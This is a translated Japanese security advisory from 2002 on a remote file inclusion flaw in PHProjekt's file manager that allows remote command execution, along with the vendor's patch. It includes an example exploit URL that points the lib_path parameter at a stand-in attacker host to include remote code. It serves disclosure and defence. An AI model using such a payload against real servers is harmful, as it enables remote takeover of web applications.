phprojekt のコマンド実行
[翻訳:関谷 麻美]
2002年3月16日
国際
海外情報
2002年3月16日
◆概要:
PHProjekt は、グループの活動を調整し、イントラネットとインターネットを介して情報や文書を共有するためのモジュラー・アプリケーションだ。このスクリプトは、slashcode もしくは phpnuke のような、Web サイト用コンテンツ管理システムだ。
このアプリケーションの脆弱性は、リモート攻撃者が そのWeb サーバ上のコマンドの実行を可能にする。
◆詳細:
それらの問題は、モジュールのファイルマネージャにある。そのファイルマネージャで、そのモジュールに直接アクセスすることができ、またモジュールが直接アクセスできないそのスクリプトのグローバル構成ファイルで定義されている値を設定することができる。filemanager/filemanager_forms.php の最初の行は、
include_once("$lib_path/access_form.inc.php");
で、攻撃者は下記の URL へ行く。
http://example.com/filemanager/filemanager_forms.php?lib_path=http://attacker/nasty/scripts
そして、 http://hacker/nasty/scripts/access_form.inc.php のスクリプトは、include()'d を取得する。
php がall_url_fopen off でコンパイルされている場合、攻撃者がこの脆弱性を利用するのは難しいだろう。アップロードされたスクリプトへのパスを推測することが、この脆弱性を利用する唯一の他の方法だ(仮に、magic_quotesが他で有効の場合、null バイトはダメージを与えることが可能)。明らかにこの方法は、安全性を実現する。何故なら、攻撃者が lib_path の名前を持つスクリプトをアップロードする場合、そのパス(例えば /tmp/random/access_form.inc.php )は、$lib_path に保管される。これは、/tmp/random/access_form.inc.php/access_form.inc.php を含めることを include_once に試みさせる。しかし、これは機能しない。
PHP が終了する際、PHP はこの /tmp/randomcharacters/access_form.php を削除する。よって、( display_errors が有効である場合)error msg PHP が攻撃者にスクリプトへのパスを知らせると、lib_path としてPHP は送信されない。
仮に、全てのモジュールが最初の行にグローバル構成ファイルを含み、そして変数がないことを確認するためのダブルチェックが変数を渡す他のスクリプトに残されていない場合、最善と思われる。phpnuke のような modules.php スクリプトの類も悪いアイディアではない。そしてそれはスクリプトが直接呼び出されないことで、セキュリティを確保する。
作者はこのアドバイスを受け入れ、そしてそのモジュールの最初の行に追加した。
if (!defined("lib_included")) { die("Please use index.php!"); }
◆ベンダーの対応:
この情報を報告すると、作者は非常に迅速に対応した。彼らは、このセキュリティ問題を深刻に受け止め、パッチをすぐに準備した。そして、かれらのメーリングリストにその旨を報告した。作者は「そのスクリプトは、セキュリティおよび構造全体を改良するため書き直しが必要だ。早晩、新バージョンがリリースされるだろう」と述べた。
◆追加情報:
b0iler がこの情報を提供した。
[情報提供:SecuriTeam]
http://www.securiteam.com/
《ScanNetSecurity》